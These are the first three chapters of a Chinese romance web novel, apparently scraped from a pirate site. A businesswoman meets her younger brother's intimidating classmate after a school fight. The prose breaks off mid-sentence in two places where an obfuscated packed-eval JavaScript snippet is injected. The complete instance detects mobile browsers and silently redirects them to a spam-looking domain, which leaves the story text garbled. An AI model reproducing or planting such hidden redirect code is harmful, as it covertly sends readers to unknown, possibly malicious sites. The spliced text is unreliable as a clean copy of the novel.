《漂亮姐姐》 1. 第 1 章 直播室后台灯光最是无情。 三盏大白灯,光线煞白。当头直照在谈丹青的脸上,鼻尖不一时冒出些汗。 后台电脑显示屏正飞速滚动着各条弹幕、鲜花打赏道具和下单信息,虚拟特效不断炸开,直播助理卖力推销着今晚样品: "姐妹们看这款心机战袍!" "米白双色都是绝杀,小A杯秒变小B!" "三二一——上链接!" 谈丹青抿着咖啡,目不转睛地盯着后台显示屏。 “小谈姐!”助理胡小样冒着腰送来手机,“电话。” “谁的?”谈丹青问。 胡小央吞吐了一声,说:“您弟弟的班主任……” 谈丹青眉心跳了跳:“好。” 接过手机,谈丹青对胡小央轻轻抬了抬下颌,“这里你继续盯。” 直播室大门推开,激昂的喧嚣声瞬间退潮。谈丹青找了个安静的角落,倚墙站着,左脚松了松被高跟鞋压疼了的脚后跟,回拨去电话。 几声忙音后,电话接通。 “喂,您好,我是谈小白的姐姐,谈丹青。” “哦,你好,”话筒里传来一道年轻的女声:“谈小白原来的班主任离职了,我是谈小白的新班主任,我叫何薇。” “何老师您好。”谈丹青说。 “你今天有空吗?”何薇的声音听起来既无奈又严肃,说:“请你今天务必来学校一趟吧。” 谈丹青不由心口紧了紧,问:“小白在学校怎么了?” 何薇叹了口气,说:“他又跟人打架了。” 不是“打架”。 是“又”打架。 谈丹青已没了脾气,掐了掐眉心,说:“我马上过来。” 挂了电话,谈丹青重回直播室。只是一眨眼的工夫,就有好几名助理在等她: “小谈姐,这是送来的新样品,请您看一下。” “小谈总,刚刚工厂来电话,说之前选定的材料花色又有点问题……” “谈总,禾丰传媒的周总回电话了,想请您吃饭……” “先发我手机上吧,”谈丹青拾起放在椅背上的米色风衣,搭在臂弯上,在口袋里摸到了车钥匙,拎上小皮包,匆匆往外走,“我现在有急事要出去一趟。路上回。” 江城初秋傍晚轻风微凉,吹散了直播间快递包装袋堆积的甲醛味,谈丹青深吸口气,裹紧被吹开的风衣,拉开停在人行横道上黑色轿车车门,踩下油门,往二环路驶去。 这个点正是下班高峰期,一路遇红灯,车流停停走走。 谈丹青扶着方向盘的不耐烦地叩了叩,降下车窗,让晚风灌了进来。 谈小白小时候,真没现在这么闹腾。 那会儿的谈小白人如其名。 长得又小又白。 是个名副其实的小甜豆。 她和谈小白的原生家庭,是篇典型狗血文: 好赌的爹、生病的妈、年幼的弟弟,破碎的…… 不,她倒不破碎。 她跟“破碎”截然相反。 厌恶当受害者,厌恶哭哭啼啼,厌恶苦情戏。 越是受挫,她反倒越来劲儿,越是将她往泥巴地里踩,她越要将头顶的石块掀开,混出个齐全人的样子给所有人看看。 她比谈小白大六岁,当年李柔病逝,谈国庆跑路时,谈小白四岁,她十一。这个年龄没了父母照顾,多数会被送去福利院等待收养家庭。 当时的情况也的确如此,街道办和妇联基层工作人员了解情况后,上门要带他们姐弟俩走。 她年龄偏大,又是女孩,被领养的希望并不大。大概率会在福利院住几年,然后开启独立生活。但谈小白不一样,他年纪小,是四肢健全的健康男孩儿,有非常多家境殷实的家庭,排着队想收养。 谈小白从小就呆,跟他说话,大部分他听不懂,只会咧着嘴巴淌口水傻笑。结果那天不知怎么,他偏听懂了。于是在妇联工作人员抱他出门的时候,他突然身子一扭,从工作人员□□溜走,然后一屁股坐在地上,抱着妇联的小姑娘的腿,狠狠咬了一口,哇哇大哭。 那姑娘腿被咬出了血,当场送去医院打狂犬病疫苗。 说起来,谈小白哈士奇似的性格,在这时候已初见端倪。 * 一中校园,常青树郁郁葱葱,树影斑驳。 谈丹青下了车,将黑色太阳镜别在发顶,轻车熟路地快步往教学楼走去。 刚打下课铃,身侧穿着球鞋的学生飞奔跑着去操场。 几名少年抱着篮球从楼上下来,看见立在公告牌前的谈丹青,倒抽了口气,勾肩搭背地快步从楼梯上跳下,离谈丹青远了,才开口说:“她谁啊?” “好像是谈小白的姐姐吧。” “我艹……谈小白的姐姐长得也太……”有人吹了一声口哨。 “怎么叫家长了啊?” “谈小白把绪东阳给堵了?” “我草,真的假的啊?嘶……堵谁不好?想不开啊?” “傻缺呗。”另一个同学说:“那是绪东阳啊……直接被开瓢了。” 进了一楼大厅,公告栏上刚张贴出来的一张月考排名榜吸引了谈丹青的注意。 月考年级前十名贴了半身照,以及学习经验分享。 谈丹青心中又不愉。 谈小白那小子,压根都没告诉她学校月考了。 她驻足在公告牌上找谈小白的名字。 一眼便注意到第一行第五位少年—— 姓名:绪东阳。 年龄:19 半身照上,少年穿着身湛蓝色校服,衣领敞开,内里是件干净的白色运动圆领T恤。 他的头发乌黑,额前没蓄刘海,但比寸头略长,露出光洁饱满的额,和两条浓而长,斜飞着的眉。 他眼睛颜色比发色更深,眼珠漆黑,仿佛沉着一片化不开的墨。 与浓黑的眼、眉和发相比,他嘴唇的颜色就要淡上许多。有清晰的唇线,不算单薄,嘴角偏圆,是这张充满棱角和攻击力的脸,唯一温和宽宥的地方。 许是长相过于优越,被老师和同学捧在手心里捧惯了,染上了天之骄子自大的恶习。看向镜头时,这双浓墨似的眼睛,永远是由上朝下,透出睥睨的味道。 谈丹青目光扫过照片。 再往下看。 小编提问:绪神理科拿满分的秘诀是什么? 答:多练。 就两字。 言简意赅。 再多一个字都欠奉。 “嗤……”谈丹青不觉有些好笑。 也只有这个年龄的少年。 挨少了社会的毒打,才会把轻狂两个字大大方方地戳脑门上。 她继续找谈小白的名字。 不过没有再顺着看,而是逆着看。 从最后一名往前找,这样能节省不少时间。 果然,她在倒数第三行就找到了谈小白的名字。 不生气。 不生气。 气出病来无人替…… 谈丹青笑笑,准备上楼就提刀。 上了二楼,老师办公室门口长廊已站好了两拨人。 谈小白站在最左边,脑门上顶着一块白色纱布,看起来可怜兮兮。 “姐!姐!”谈小白扯开嗓子大喊:“我冤枉啊我!我比窦娥还冤!我不是打架!我是挨打!挨打!” “我靠……”旁边的同学对谈小白不仅倒打一耙还十分白莲花的行径实在看不下去,大骂:“放屁,你还冤?你是活该,你敢说不是你先动的手?” “是我先动手又怎么滴了?我早看你不顺眼,打你就打你了,李定你想怎么样啊?”谈小白回骂。 “你个龟儿子。难怪人家刘彤看不上你,舔狗。” 这句话正骂到了谈小白的痛处,谈小白一跳恨不得跳八丈高,“你才舔狗,脑子开瓢也比你没脑子好,你长脑子是为了让自己显得高吗?”骂着骂着,两拨人又互相推搡起来。 “都别吵!这里是办公室,”这时一名瘦小戴眼镜的女孩儿从人群里挤了出来。 因挤来挤去,短而直的鼻梁上眼镜往下滑。她手忙脚乱地重新戴好眼镜。 也是倒霉,何薇今年刚参加工作,就赶上另一名老师休产假,接了这么一只烫手山芋。 “你就是谈小白的姐姐吧?”何薇见她如见救星。 “是。”谈丹青大步向前,率先伸出手,说:“谈丹青。何老师您好。” “你好,你好。”何薇拘谨地同谈丹青握了手,又推了推牢固架鼻尖上的圆眼镜。 这是何薇第一次见谈青彤,有些意外。 她听说谈小白的这个姐姐很有本事,服装生意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“这可是脑袋,”谈丹青说,“力度要是再大了一点呢?角度要是再偏了一点呢?我都不敢想象。” 谈丹青护短,不管今天的事究竟是不是谈小白的错。他已经被打成了这样,她就一定要为弟弟讨回公道。 “打我弟弟的是谁?”谈丹青说话声音并不大,甚至算得上温柔和气。 但绵里藏着针,每句话干脆利落,掷地有声。 刚刚闹成一团的少年,一时都面面相觑。谈小白也知道姐姐的脾气,低下头,不敢在谈丹青气头上拱火。 谈丹青的视线一一扫过这群愣头。 她怎么也比他们稍长几岁,这些人每个几斤几两,她看一眼就心里有数。 这几个都跳得高,说话声大,但不是有胆子下狠手的。 打谈小白的,另有其人。 “绪东阳,”何薇无奈起身,对办公室另一角说。 谈丹青跟着回头,这才注意到办公室里还有一位少年安静地坐在角落。 桌子和椅子被拖拉出刺耳的响动,他缓缓起身,宽广的肩在她眼前延展看来,仿佛是一座年轻而巍峨的山,在她眼前展开。 单从坐姿上看,绝看不出他的体格如此高大。谈丹青在女生中算得上高挑,却还是比他矮了将近半个头。 湛蓝色校服并没有规矩服帖地穿在身上,领口大敞,胸口是黑色T恤巨大的兽头印花图案。袖口也卷到了手肘,小臂肌肉线条如刀刻,青筋蜿蜒,从手背没入上臂。 谈丹青目光跟着他的动作上移,看向他的正脸。 那是张和公告牌上半身照一模一样的脸。 冷白。 英俊。 眼神桀骜不驯。 唯一不同的是,照片只能捕捉人的五官,却捕捉不了人的气质和气场。 在最不经意时流露出的细微的神情,习惯性的肢体语言,甚至呼吸的频率。这些全部加在一起,才组成一个完整的人。 那张登记照永远无法完全捕捉到的,就是他身上那一蓬勃的、近乎暴烈的生命力。像飓风呼啸,野火燎原。 自他起身后,少年那双锐利如刃的眼睛,就再也没有看向其他任何人。 始终直白,毫不遮掩,一瞬不瞬地将她牢牢锁定。 少年抬起手,四根手指上缠绕着白色绷带。 当着她的面,故意用手背擦了擦嘴角上细碎的伤口。 那一处的血痂还没彻底愈合。 一刮蹭,便又洇出了新鲜的血,衬得肤色冷白。 2. 第 2 章 他似乎是故意这么做给她看, 要让她下不来台。 谈丹青错开眼,扭头问何薇:“这小孩家长呢?” 这个年龄早和“小孩”这个词没有半毛钱关系。 但她偏要这么说,让他也下不来台。 何薇解释道:“他父母我也联系过了,实在太忙,没空来。” 谈丹青笑笑,说:“何老师,我每天也很忙啊。但是只要小白有事,我绝对到,风雨无阻。” “是是,每个家庭对孩子的重视程度不一样嘛。”何薇打圆场。 何薇怕谈丹青太较真,将这件事越闹越大,叹了口气,解释道:“小白姐姐,你的心情,我真的很能理解。但是我实话跟你说了吧,今天这事儿,真的是你弟弟不占理。” 谈丹青扫了谈小白一眼。 谈小白一副正襟危坐的小模样,双眼望天。 “他有喜欢的女孩子,想追人家,但人家不喜欢他,喜欢绪东阳。他气不过,带人把绪东阳堵在厕所门口。结果没打赢,才被撞伤了脑袋。这些都是有监控的。” 谈丹青听到这儿,咬着后牙说:“原来是这么回事。” 谈小白尴尬地抱头,贼溜溜的眼睛上下左右看了一圈,就是不敢看他。 “小白姐姐,我今天请你来,是这么想的,”何薇说:“一是想让你作为家长了解情况;二是想让你做个见证,让两个孩子握手言和。” “怎么握手言和?”谈丹青让步。 “握手言和就……”何薇想了想,说:“正式握个手吧。” “好,”谈丹青点了点头,冲谈小白抬了抬下巴,“过去。” 谈小白苦着一张脸,哼哼唧唧,不情愿地说:“啊握手?这也太娘了吧?” “握。”谈青彤横了他一眼,“打架打输的时候不娘?” 谈小白又墨迹了半天,这才苦恼地抱着头说,“好吧好吧,握握握。” 绪东阳那头,却半晌没有反应。 她抬眼皮看了一眼。 和谈小白说话时,这少年的眼睛始终直勾勾地盯住她,不曾移动半分。 这双眼睛莫名让谈丹青想到了电视里经常播放的草原中掩身于灌林里狩猎的幼年猎豹。呈竖形的瞳孔蓄着旺盛的狩猎欲,悄然无声地埋伏着,耐心等待猎物发现自己。 她刻意回避这道目光,转头看向一旁书桌上的订书机。 绪东阳这才朝他们走过来。 谈小白在左,她在右。 可绪东阳却偏偏停在了她的身侧。 他身上的体温很高。 站在她身旁就像一轮夏天的太阳。 热烘烘地将她烤着。 敞开着的上衣衣摆随步履摆动,拉链上银色掉环,差一点就要打在她手背上。 一股不适感爬上脊背。 脚跟本能地抬起,想往后让半步。 但她从小到大都习惯性站在所有人前面,保护身边人和弟弟。 于是身体晃了晃,最后还是静了下来,原地不动,挡在谈小白身前。 “握手。”她昂了昂下颌,示意谈小白。 “好吧好吧。”谈小白不耐烦地说,朝绪东阳伸出手。 绪东阳这才第一次,将那道粘稠的目光从谈丹青身上移开,转到谈小白伸出的手上。 他也抬手。 鼓动起一股热气。 夹杂着衣服上浅淡的柠檬凝香珠的味道,一同朝谈丹青扑来。 谈丹青瞥了一眼那只手。 他的手手指长而掌心宽厚,手指骨节十分粗大,除大拇指之外的四根指节上,均缠绕了一圈白色绷带。 那绷带绑缚得有些奇特,看起来并不像是受伤后的包扎。绷带紧紧在每根手指根部缠绕一圈,然后在手背打出一只规整牢靠的结,更像是某种专业的手法。 两人握了手,何薇立刻笑了起来,“你看,这不就好了嘛。“都是好同学,哪真有什么深仇大恨的?” “靠!”谈小白一握完手,就迅速抽回手,嫌弃地在身上擦来擦去, 其余旁观的同学纷纷捂嘴偷笑。 办公室里的学生们回去上课后,何薇又单独和谈丹青聊了几句谈小白的成绩,让她务必抓抓紧。 等处理完,何薇回到办公位上。这时隔壁座老师张成又端着保温杯晃荡了过来。 他吹着保温杯面上漂的茶叶,说:“你跟谈小白他姐说那么多做什么?” 何薇资历比张成低,对前辈抱着尊重的心态,回答:“现在已经高三了,我看谈小白这小孩儿还不知道上心,有点着急,所以想趁机叫他家里人来,让他们知道知道轻重。” “你知道他姐干什么的吗?”张成话里有话地说。 “做服装生意的啊。”何薇不疑有他。 “嗤,说得真好听。”张成讥讽地说:“他姐姐就是个擦边女。” 何薇有些诧异,说:“张老师,你弄错了吧?他姐姐是卖内衣的。” “呵呵,”张成油腻地笑了两声,讥讽道:“那跟出来卖的有什么区别?每天在镜头前穿件内衣搔首弄姿,下播了就约榜一大哥吧。呵呵,就这种家庭环境,能教养出什么好孩子。你少管了。 “张老师,有些话没证据可不能乱说。”何薇愠怒地说。 张成呵呵笑了两声,晃了出去。 * 一中操场旁有一条紫藤长廊,花树开得繁茂,细枝沿着竹竿往上爬,顶端枝条被花朵压弯了,拱出半圆形的弧顶,在廊顶织出一片流动的紫色雾霭。风过时,碎花簌簌坠下,落英缤纷,宁静而温馨。 半透明的花落在谈丹青白色雪纺衬衣的领口,她抬手将肩头落花拂下, “坐好了。” 谈丹青拉着谈小白,在紫藤树下的长椅上坐下,拧开一瓶紫药水,“要我怎么说你?太不争气了。” 谈青彤气不打一处来。 但她嘴上再怎么骂,也就只有这么一个弟弟。 为弟弟涂紫药水的手,力道柔和。 “姐,姐,姐,疼疼疼……”谈小白明明毫无感觉,非要龇牙咧嘴,逗谈丹青开心。 “别叫我姐,打架被打成这样,我谈青彤没你这么怂的弟弟。”谈丹青讽刺道。 “是他先抢我女朋友的。”谈小白不服气。 “你还好意思说?你好意思说,我还不好意思听,”谈青彤一手指戳在谈小白额头上,戳得谈小白嗷嗷直叫。 “连个女孩儿都追不上,丢不丢人啊?” 谈青彤重新用棉签沾取紫药水,“脑袋转过来点。” “哎哟哟……”谈小白说:“这也不该算我丢人的,你是没看到绪东阳那拳头,他妈的,比我脑袋还大。” “有点骨气行不行?”谈丹青手指使劲儿,故意戳在他的伤口上,“我弟弟哪里比人家差了?” 谈小白傻乐起来。 提起绪东阳,谈丹青敛了敛睫,心中仍是有些不悦。 她始终对这少年喜欢不起来。 总觉得他那双浓墨似的眼睛里藏着事。 他是一团裹着冰的火,远远看觉得凉飕飕的,一靠近就会被烫伤。 “啊,真的疼!” 谈丹青一分心,下手没了轻重,谈小白这下真疼到嘶嘶倒抽口气。 谈丹青说:“好啦好啦,涂完了已经。” 姐弟二人在藤萝架下打闹斗嘴,一道目光自一旁一楼教室窗棂投落下。 绪东阳坐在靠窗的位置,挂着耳机,湛蓝色校服袖子随意地卷到手肘位置,小臂肌肉线条流畅。 他身体重心后移,两条长腿微曲在桌下。 懒散地用一条白色绷带缠着左手指节。 标准拳击缠法。 耳机里的音乐切到了《purpose》: “FeelinglikeI''mbreathingmylastbreath. 感觉仿佛呼吸着最后一口空气 FeelinglikeI''mwalkingmylaststeps. 感觉仿佛迈出了最后一个步伐 …… 他凝视着被紫藤花筛下的金色的夕阳,是如何如一网青纱,轻柔笼在了谈丹青面颊上。 那张心型的素白的脸没上妆,白皙、干净。 只有两瓣棱形的嘴唇抿过一点裸色系口红。 到现在那颜色已经很淡了,看起来仿佛是从嘴唇本身的颜色里透出来的红。或笑或嗔,总合时宜。 她仔细专注地正用手指轻轻摩挲过谈小白额角的伤。 嘴型在动,仿佛在问询:“疼不疼啊?” 那根手指,长而细,白如鹅脂。 指尖圆润,指甲壳修剪得整整齐齐,涂了一层微微反光的透明指甲油。 扇形指壳上,有一枚月亮似的白色的弧。 按压时,指尖充血,立刻透出淡色的红。 粘稠的视线如蛛丝,不动声色地缠住了这节雪白的手指。 随着她轻抚伤口的动作,一寸一寸紧收。 他无意识地,也抬起手。 指节上的绷带没系紧,立刻垂落下来。 他用手背反复摩挲着嘴角淤青和血痂。 仿佛在模仿谈丹青的动作。 一种迫切而又古怪的念头,开始如秃鹰一般在他胸口呼啸盘旋。如果他不能立马弄清楚这个问题的答案,他就会像鱼离了水躁动不安。所以他必须马上立刻知道—— 被这只手触碰伤口,究竟是一种什么样的感觉。 “阳哥,在看啥呢?”李 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绪东阳不是那种天天踹椅子满嘴脏话的校霸。 但他不骂人,压迫感反而更强。尤其是他打架很猛,实力在这儿,谁都知道要退避三舍。 这时谈小白顶着一头白绷回了教室。 冯绍小声问了一句:“长得像谈小白吗?” 他没机会见谈丹青,只能看谈小白。 “艹,别把我弄痿了好不好。”李定哈哈大笑。 但他也看了谈小白一眼,说:“你别说,还真有点像。眯着眼睛看,谈小白长得也挺清秀的。” 冯绍拍桌:“靠,你也是真饿了。” “谈小白,”李定故意揶揄他,“你长得好白啊。” 谈小白冷冷瞅了他一眼,骂了一句“滚蛋”,附加一个中指。 “阳哥,”李定问绪东阳:“揍不揍这个姓谈的?傻缺么?云南蘑菇吃多了,不知道一中老大是谁。” 绪东阳:“不。” “不?”绪东阳半天没说话,李定都忘记他刚刚问什么了。 “不揍吗?”李定意外地说。 绪东阳虽不主动惹事,但也绝不是宽宏大量老好人那一卦。 谈小白今天带人在厕所堵他。 这种事就这么轻飘飘揭过了? 但绪东阳已经摆出了态度。 李定也不好多说什么,他玩着篮球,无限惋惜道:“好吧……就放他一马。” 绪东阳桌子里手机响个不停。 刘彤:【今天的事我听说了。没有对你造成什么困扰吧?】 刘彤:【真的好抱歉啊,我没想到谈小白会这么做,真的很难过你们为了我打架,我代替他向你道歉吧。】 刘彤:【今晚我们在停车棚见面?】 绪东阳扫了一眼。 Leo:【没空。】 绪东阳退出聊天窗口,然后点进聊天群,找到话最多的一个小兔头像—— 【小白打游戏不小白】 谈小白24k纯话痨。 一天能发三百条朋友圈。 绪东阳一般都是直接将他屏蔽掉,但今天他特意点进了他的朋友圈。 谈小白朋友圈的背景是一张他的自拍。 直男视角,没什么氛围感,纯靠五官硬抗。 绪东阳点开照片,立刻在照片模糊的右下角,敏锐地看到一个侧脸。 从微微隆起的眉心,到挺直的鼻梁,然后是自然往里收的转角,流畅的下颌。那是一道笔锋干净利落,精致细腻的工笔落下的线,仿佛在描薄暮时分黛色远山的轮廓。 他一眼就认出。 她是谈丹青。 他存下这张照片。 修剪。 留下了朦胧的一角。 然后敲了敲谈小白的头像。 前排谈小白的手机一震,将他从睡梦中惊醒。 她明显在椅子上弹跳起来。 然后伸手在桌洞里找手机。 他看了一眼。 惊恐又错愕地回头看他。 leo:【你喜欢刘彤?】 绪东阳手机一震,收到回复。 小白打游戏不小白:【?】 小白打游戏不小白:【有必要这样?】 小白打游戏不小白:【老子都已经摸你手了!】 leo:【我帮你追。】 小白打游戏不小白:【?】 小白打游戏不小白:【你这么好心?】 小白打游戏不小白:【什么条件?】 3. 第 3 章 晚自习结束后,夜幕繁星点点。 刘彤拎着奶茶,和她的几个朋友在学校停车棚等候。 同学来取自行车,八卦今天绪东阳和谈小白打架。 “好羡慕刘彤啊,绪东阳和谈小白两大男神为她打架!” “是啊,什么时候能有两个大帅哥的为我争风吃醋。” “这两个要你选你选谁?” “谈小白吧,他看起来脾气好一点,绪东阳……嗯实在太拽了,拽哥不敢肖想……你咧?” “哈哈哈哈哈哈我都可以!我不挑。” 说话的同学远去,刘彤身边的朋友互相交换了一个羡慕的目光。 刘彤拨了拨头发,闪烁的眼睛里全是得意之色,说:“我也不知道谈小白是怎么误会了,我真的一点都不希望他们俩为了我变成现在这样。” 她故意隐去绪东阳从不回复她这件事,又将手机屏光调到最亮,确保所有人都能看清,绪东阳躺在她的好友列表里。 陪她等待的朋友有些羡慕,安慰道:“嗯,没事没事,待会儿把话说开就好了吧。” 这时有眼尖的同学看到绪东阳从教学楼走了出来,“绪东阳出来了。” 放学后,绪东阳没再穿那身校服,黑色T恤外另套了一件宽大的墨绿色运动卫衣。被头顶路灯一照,卫衣颜色看起来像黑色的海。 黑色单肩包挂在肩上,一手抄兜儿,一手握着背包带,耳朵里挂着黑色耳机。 头顶金色路灯的光圈追随着乌黑的发尾,随着他不缓不满的脚步,也轻晃着。 周围有同学骑着自行车经过。 超过他以后,又回头看他,悄声议论:“那就是绪东阳。” “绪东阳!”刘彤眼睛亮了起来,语调是藏不住地欣喜,冲他挥手,朗声唤道。 绪东阳突然听见有人叫他,抬头看了过来。 第一眼却没认出她,疑惑地沉了沉唇角。 刘彤连忙举起手里的奶茶,说:“说好了要送给你的。” 她特意强调“说好了”,怕其他人发现绪东阳早就拒绝了她。 绪东阳似乎终于想了起来,他眉梢下压,径直从她面前经过,从车棚里取了自己的黑色运动款自行车,长腿跨上,然后将掉下的耳机重新塞进耳朵里,“说了不用。” 他提车就走,车轮转动飞快。 夜幕里,深绿色卫衣被晚风吹得鼓了起来,像一只低空飞翔的夜鹰。 因为修养好,绪东阳并没有表露出他的厌烦和不悦。 说话声不大,语气也很平淡。 但他冷漠的反应,所有人一眼都能看出,他和刘彤两人压根不熟,全是刘彤一个人剃头挑子一头热。 刘彤的脸色顿时白了白,她将指甲掐进掌心,脸上依旧维系着甜笑,说:“咳,他总这样。” 刘彤的朋友们也有些尴尬,帮刘彤找补,说:“是呢,可能他有什么急事吧。” “对,”刘彤说:“我待会儿在wx上好好问问他,今晚他必须把我哄好……” * 晚上十二点,绪东阳到了家。 地下停车库停了七八辆豪车,他将单车扔在车库一角。按下指纹锁坐电梯上楼。 一尘不染的冰冷大理石地板倒影着巨大水晶吊灯的折影,纯白系高档家具线条简约。 目之所及,没有任何人住过的痕迹,就连最难清理的地面,也没有一块残留的水渍。 站在这里,就宛若置身于一座用琉璃雕刻而成的冰冷洞穴,手碰到的所有东西,都昂贵高档,但却没有温度。 绪东阳在玄关换球鞋。 二楼旋转楼梯传来哒哒脚步声,母亲徐丽匆匆下来,柔声道:“东阳,你回了。” “嗯。”绪东阳背对着徐丽,解运动鞋上的鞋带。 “东阳……”绪母声音犹豫,甚至带了点低声下气的意味,“我,我有事跟你说。” 绪东阳:“什么?” “是你弟弟的事,”绪母温柔的声音染上了几分难以抑制的喜悦,“今天我们终于联系到了一位很有名的加拿大医生,我们打算带他出国治病。” 绪东阳一脚踩进棕色拖鞋。 人的触感分不清冷和湿。 他总觉得像是一脚踩进了水潭里。 “东阳,”绪母过来要拉他的手。 她的手是冷的,手指上的钻石戒指是冷的,手腕上一双白润翡翠手镯也是冷的。 绪东阳下意识抽回手,回过身去开放厨房拿冰水,拧开了冰水瓶盖,昂头喝下半瓶。 徐丽伸出去的手扑了个空,有些失望,但也习以为常。 绪东阳从小就跟她不亲。 她和绪军在外打拼时,他在老家跟着奶奶。等他们将他接回来的时候,他们又已经有绪北远了。 绪北远一出生就身体不大好,像只病恹恹的小病猫。做父母的,总要多照顾那个身体差一点,年龄小一点的孩子。 “你弟弟的身体你是知道的,我们也是没办法。”徐丽对着绪东阳的背影,几乎是含着泪,无限愧疚地说。 望着母亲忧心忡忡的脸,绪东阳喉咙像岩浆在滚动。 他有一种想声嘶力竭大吼的冲动,想大声问一句—— 那我呢? 那我呢? 今天老师请家长了,你怎么不去? 我嘴角的伤,你看见了吗? 我每周晚上都会偷偷跑去俱乐部打黑拳,你知道吗? 我已经高三了,马上要高考了,你们就不能…… 就不能也管管我吗…… 他喉结滚动,不断吞咽下冰水。 无数话语跟着全部咽了下去。 他转身将玻璃瓶扔进垃圾箱里,拎上包,趿拉着拖鞋往楼上走,“你们什么时候的飞机。” “明天早上九点,是太着急了,但我们实在没时间跟你商量。你爸爸已经先飞过去了。你的银行卡上我打了钱,有什么想要的你自己买。” 绪东阳缓步上台阶。 徐丽在楼下含泪说:“东阳,我知道你现在也是关键时期。可怜天下父母心,你以为我舍得这么对你?但是,你弟弟的病实在没办法啊,你是哥哥,你应该理解一下?” “妈妈。”这时弟弟绪北远从房间出来。他刚睡醒,红彤彤的脸颊上还有印子。他怀里抱着一只红眼睛小兔,揉着眼睛。 绪东阳像没有看见。 推门大步走进自己的房间。 关闭的门扉阻隔了一部分声音,但母亲和弟弟的对话还是飘了进来。 “你怎么出来了?快睡觉,明天很早要出发呢。” “哥哥生我气了吗?” “怎么会?他是哥哥。乖乖睡觉去吧。” 绪东阳靠着门板。 缓缓拆开手背上的绷带。 白色绷带褪下。 指节上旧伤添新伤,渗出血丝,斑斑点点。 他更换着新绷带,什么也没想。 大脑一片空白。 只想就这么发一会儿呆。 房间没开灯,月光照卧室,到处都是灰蒙蒙一片。角落堆放着各类器械,拳击手套、用坏了的沙包,杠铃。印有LEO字母的旧拳击手套闲置在桌角。柜子里,厚重的教科书旁是随意摆放的一座座拳击奖牌。 绪东阳走了过去,指尖摩挲过奖杯底座上的署名: Leo——第xx届金腰带。 Leo——第xx届拳击王。 月光在‘O’字母的圆弧处凝成一滴虚影,像一声无声的嘲笑。 似乎无论他怎么做,也得不到徐丽的一丁点注意。 即便他在学校打架,请家长,徐丽永远都在绪北远看病的路上。 口袋里手机震动。 绪东阳回过神。 小白打游戏不小白:【你当我煞笔?】 小白打游戏不小白:【你怎么可能没地方住?】 绪东阳沉默了半晌。 手指划了划屏幕。 Leo:【家里吵架。】 对面状态变成正在输入中。 绪东阳手指不耐烦地扣着手机边缘。 强迫症一样反复刷新屏幕。 小白打游戏不小白:【你认真的?】 小白打游戏不小白:【我帮你,你就帮我追刘彤?】 * “这几款不行,这款肩带承重力不足,再瘦的人穿上也会勒出副乳;这款也不行,面料透气性差,穿一天脱下来下胸都是红印子。”谈丹青pass掉了前三件。 每场直播结束后,谈丹青都会复盘直播数据,再去库房挑选明天的样品。保证工作室直播间每一款上架内衣,一定都是谈丹青自己穿过,并且感觉很舒服。 “好的,我和工厂重新联系,换一个肩带测试一下。”胡小样在笔记本上记录下谈丹青的要求。 在库房待了三个小时,挑选再推翻,推翻再挑选,最后终于定了两件新款,谈丹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15547419|171204||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 青腾出空在办公室长桌上吃口面。 正吃着,郑芳挎着布灵布灵的Prada,踩着cl经典款红底高跟鞋,却端着一大碗外卖红烧牛肉面,在她对面坐下,然后用手撕鬼子的力道撕开一次性筷子,大声感慨:“碳水就是神!” 郑芳是谈丹青最好的朋友,她没什么悲惨童年,含着金汤勺出生,生下来就是个小富婆。 谈丹青最缺钱的时候,是郑芳大手一挥,又投钱,又摇人,解了她的燃眉之急。工作室步上正轨后,郑芳便继续作工作室投资人,两人一起赚钱一起花。 “我又撩到了一个小奶狗,才19,”郑芳又拿手机给她看照片,手机屏幕快怼到谈丹青脸上,“快看快看!帅不帅帅不帅?” 谈丹青瞟了一眼,“还行。” 郑芳的新任小奶狗没在她脑海里留下什么印象,就记得长得很白。 从个人口味上来说,谈丹青还是更喜欢英朗型男人。 “啧,”郑芳感慨:“你这个冷酷的女人啊……” 桌面上手机震了震,是谈小白的消息。 小白打游戏不小白:【姐,我有一个同学,他家里有点事,没地方住,我能带让他来家里住几天不?】 小白打游戏不小白:【行不?求求姐~】 小白打游戏不小白:【小猫拜拜jpeg.】 谈丹青今天事多,懒得跟谈小白掰扯。 而且他们家房间多,空着也是空着,不如卖个人情行善积德。 谈丹青回了个标点符号:“。” 立刻得到了谈小白的感恩戴德:【谢谢姐,我全宇宙最好的姐。】 这条之后,又有新消息进来。 “leo”申请添加好友。 谈丹青随手点下同意。 郑芳见她看手机,随口问了一句:“怎么了?” 谈丹青锁了屏,说:“没什么,我弟弟一个同学想借住。” “你弟弟的同学?”郑芳眼睛一转,说:“那岂不是……男大?” “比男大还小,”谈丹青说,“男高。” “长得帅不帅啊?快给我康康。”郑芳追问。 谈小白也没说这位同学是谁,所以谈丹青也不知道他长什么样。 “不知道,不就是普通高中生。”谈丹青毫无兴趣地说。 “我天,你真对弟弟型一点兴趣都没有啊?”郑芳惋惜地说:“每天工作这么辛苦,难道就不值得拥有一只八块腹肌小奶狗慰劳慰劳自己吗?!” 谈丹青哭笑不得,说:“我坚信,谈年下就是在给人生上难度。” “人生苦短,及时行乐。”郑芳无忧无虑地说:“男人过了二十五岁,就不好用了啊。” “停停停……”谈丹青忙用红烧牛肉堵郑芳的嘴:“这里是工作场合。” * 工作室的事忙完,谈丹青开车回家已是晚上十一点。 也不知怎么,指纹开锁解了三次,都失败了。 到了第三次,楼道骤然响起门铃报警声。 谈丹青被吵得头疼,一边手忙脚乱地从包里翻钥匙,一边敲门:“谈小白死人,你是掉厕所里了吗?出来开门!” 这一声嚎刚落地,面前的门就被突然拉开。 门轴转动,一股裹挟着柠檬味道的沐浴露的水雾扑面而来。 谈丹青被扑面而来的热流激得往后让了半步。 在她家的玄关口,绪东阳帮她打开了门。 